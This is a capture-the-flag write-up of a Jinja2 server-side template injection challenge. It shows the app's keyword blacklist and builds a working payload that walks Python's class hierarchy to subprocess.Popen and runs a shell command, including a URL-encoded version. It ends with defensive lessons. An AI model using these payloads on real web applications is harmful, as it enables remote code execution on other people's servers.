5.4 KiB
Render Me This (One More Time)
Welcome to the write-up for Render Me This (One More Time). This is the sequel to the previous SSTI challenge, featuring "improved" security filters.
We are once again tasked with exploiting a Server-Side Template Injection (SSTI) vulnerability to read the flag, but this time we must bypass a strict blacklist that blocks most standard attack vectors.
1. Initial Reconnaissance
The challenge is identical to the previous one, but with a new description:
"We upgraded our security filters. We realized that letting people import stuff was a bad idea, so we banned all the dangerous keywords."
This implies that our previous payload (which used import, os, and popen) will be blocked.
2. Source Code Analysis
Let's examine the new app.py to see the restrictions:
BLACKLIST = [
"import", "os", "system", "popen", "flag", "config", "eval", "exec",
"request", "url_for", "self", "g", "process",
"+", "~", "%", "format", "join", "chr", "ascii"
]
This is a heavy blacklist.
- No Global Objects: We cannot use
request,url_for, orselfto access the global scope (__globals__). - No String Construction: We cannot use
+orjointo bypass keyword filters (e.g.,'o'+'s'is blocked). - No Formatting: We cannot use string formatting tricks.
This forces us to find a way to execute code using only the objects already available in the template context (like strings "" or lists []) and traversing their inheritance hierarchy.
3. The Vulnerability: MRO Traversal
In Python, every object has a method resolution order (MRO) that defines the class hierarchy. We can use this to our advantage to access powerful classes without needing to import anything.
Step 1: Accessing the Base Object
We start with a simple empty list []. In Python, [] is an instance of the list class.
{{ [].__class__ }} --> <class 'list'>
From the list class, we can go up one level to its parent class, which is object.
{{ [].__class__.__base__ }} --> <class 'object'>
Step 2: Listing All Subclasses
The object class is the root of all classes in Python. Crucially, it has a method called __subclasses__() that returns a list of every single class currently loaded in the application.
{{ [].__class__.__base__.__subclasses__() }}
If you inject this payload into the URL (?name={{[].__class__.__base__.__subclasses__()}}), the page will display a massive list of classes like:
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, ... <class 'subprocess.Popen'>, ...]
Step 3: Finding subprocess.Popen
We need to find the index of the subprocess.Popen class in this list. This class allows us to spawn new processes and execute system commands.
You can copy the output from the webpage into a text editor and search for "subprocess.Popen". Alternatively, you can write a small script to find the index locally (if you have the same environment).
In this specific challenge environment, subprocess.Popen is located at index 361.
(Note: If 361 doesn't work, you might need to try surrounding numbers like 360 or 362, as the index can vary slightly depending on the Python version and installed libraries).
Step 4: Instantiating Popen
Now that we have the class (at index 361), we can instantiate it just like calling a function. We want to execute a shell command.
The Popen constructor takes a command as a list or string. We also need to set shell=True to run shell commands and stdout=-1 to capture the output.
...[361]('command', shell=True, stdout=-1)
Step 5: Bypassing the "flag" Filter
We want to run cat flag.txt. However, the word "flag" is in the BLACKLIST.
We can easily bypass this using a shell wildcard: cat fl*.
The shell will expand fl* to flag.txt automatically.
So our command is: 'cat fl*'
Step 6: Reading the Output
The Popen object creates a process, but it doesn't return the output directly. We need to call the .communicate() method on the created process object. This method waits for the command to finish and returns a tuple containing (stdout, stderr).
4. The Final Payload
Putting it all together, we construct the full injection:
- Start with a list:
[] - Get the
objectclass:.__class__.__base__ - Get all subclasses:
.__subclasses__() - Select
subprocess.Popen:[361] - Instantiate with command:
('cat fl*', shell=True, stdout=-1) - Get output:
.communicate()
Final Payload:
{{ [].__class__.__base__.__subclasses__()[361]('cat fl*', shell=True, stdout=-1).communicate() }}
Encoded URL:
?name={{[].__class__.__base__.__subclasses__()[361]('cat%20fl*',shell=True,stdout=-1).communicate()}}
5. The Solution
Submit the encoded URL to the server. The page will render the output of the command, revealing the flag.
Flag: {flag:MRO_Trav3rsal_Is_The_Way_To_Go}
Lessons Learned
- Blacklisting is Futile: Even with strict filters blocking global objects and string manipulation, the fundamental nature of Python's object model allows for code execution via MRO traversal.
- Sandboxing is Hard: If you must allow user-submitted code/templates, you need a robust sandbox (like removing
__subclasses__or using a secure template engine like Jinja2'sSandboxedEnvironment), not just a word filter. - Least Privilege: Ensure the web application runs with minimal permissions so that even if code execution is achieved, the damage is limited.